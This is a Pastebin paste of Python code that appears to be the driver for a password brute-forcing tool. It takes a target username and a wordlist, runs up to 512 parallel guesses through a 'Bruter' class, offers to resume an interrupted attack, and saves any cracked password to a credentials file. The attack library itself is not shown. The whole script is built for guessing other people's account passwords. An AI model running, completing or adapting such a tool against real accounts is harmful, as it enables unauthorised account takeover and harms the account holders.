Advertisement
Guest User

Untitled

a guest
Jun 15th, 2019
186
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.20 KB | None | 0 0
  1. from sys import exit
  2. from os.path import exists
  3. from lib.bruter import Bruter
  4. from lib.display import Display
  5. from lib.const import credentials, modes
  6.  
  7.  
  8. class Engine(object):
  9.  
  10.     def __init__(self, username, threads, passlist_path):
  11.         self.bruter = None
  12.         self.resume = False
  13.         self.is_alive = True
  14.         self.threads = threads
  15.         self.username = username
  16.         self.display = Display()
  17.         self.passlist_path = passlist_path
  18.  
  19.     def create_bruter(self):
  20.         self.bruter = Bruter(self.username, self.threads,
  21.                              self.passlist_path)
  22.  
  23.     def get_user_resp(self):
  24.         return self.display.prompt('Would you like to resume the attack? [y/n]: ')
  25.  
  26.     def write_to_file(self, password):
  27.         with open(credentials, 'at') as f:
  28.             data = 'Username: {}\nPassword: {}\n\n'.format(
  29.                 self.username.title(), password)
  30.             f.write(data)
  31.  
  32.     def start(self):
  33.  
  34.         self.create_bruter()
  35.  
  36.         while self.is_alive and not self.bruter.password_manager.session:
  37.             pass
  38.  
  39.         if not self.is_alive:
  40.             return
  41.  
  42.         if self.bruter.password_manager.session.exists:
  43.             try:
  44.                 resp = self.get_user_resp()
  45.             except:
  46.                 self.is_alive = False
  47.  
  48.             if resp and self.is_alive:
  49.                 if resp.strip().lower() == 'y':
  50.                     self.bruter.password_manager.resume = True
  51.  
  52.         try:
  53.             self.bruter.start()
  54.         except KeyboardInterrupt:
  55.             self.bruter.stop()
  56.             self.bruter.display.shutdown(self.bruter.last_password,
  57.                                          self.bruter.password_manager.attempts, len(self.bruter.browsers))
  58.         finally:
  59.             self.stop()
  60.  
  61.     def stop(self):
  62.         if self.is_alive:
  63.  
  64.             self.bruter.stop()
  65.             self.is_alive = False
  66.  
  67.             if self.bruter.password_manager.is_read and not self.bruter.is_found and not self.bruter.password_manager.list_size:
  68.                 self.bruter.display.stats_not_found(self.bruter.last_password,
  69.                                                     self.bruter.password_manager.attempts, len(self.bruter.browsers))
  70.  
  71.             if self.bruter.is_found:
  72.                 self.write_to_file(self.bruter.password)
  73.                 self.bruter.display.stats_found(self.bruter.password,
  74.                                                 self.bruter.password_manager.attempts, len(self.bruter.browsers))
  75.  
  76.  
  77. def args():
  78.     enable_colors = str(input('Enable colors? (default: y) [y/n]: '))
  79.  
  80.     if not enable_colors:
  81.         enable_colors = True
  82.     else:
  83.         if enable_colors[0].lower() == 'n':
  84.             enable_colors = False
  85.  
  86.     display = Display(is_color=enable_colors)
  87.     username = display.prompt('Enter a username: ')
  88.  
  89.     if not username:
  90.         display.warning('You can\'t leave this field empty')
  91.         display.wait()
  92.         exit()
  93.  
  94.     passlist = display.prompt('Enter the path to your password list: ')
  95.  
  96.     if not exists(passlist):
  97.         display.warning('Invalid path to password list', False)
  98.         display.wait()
  99.         exit()
  100.  
  101.     display.info('''Modes:\r
  102.        0: => 512 passwords at a time
  103.        1: => 256 passwords at a time
  104.        2: => 128 passwords at a time
  105.        3: => 64 passwords at a time
  106.    ''', False)
  107.  
  108.     mode = display.prompt('Select a mode [0, 1, 2, 3]: ', False)
  109.  
  110.     if not mode.isdigit():
  111.         display.warning('Mode must be a number', False)
  112.         display.wait()
  113.         exit()
  114.  
  115.     mode = int(mode)
  116.  
  117.     if int(mode) > 3:
  118.         display.warning('Mode must be no more than 3', False)
  119.         display.wait()
  120.         exit()
  121.  
  122.     if int(mode) < 0:
  123.         display.warning('Mode must bot no less than 0', False)
  124.         display.wait()
  125.         exit()
  126.  
  127.     return [username, passlist, mode]
  128.  
  129.  
  130. if __name__ == '__main__':
  131.     try:
  132.         user_input = args()
  133.     except KeyboardInterrupt:
  134.         exit()
  135.  
  136.     display = Display()
  137.     username, passlist, mode = user_input
  138.  
  139.     try:
  140.         Engine(username, modes[mode], passlist).start()
  141.     except:
  142.         pass
  143.     finally:
  144.         display.wait()
  145.         exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement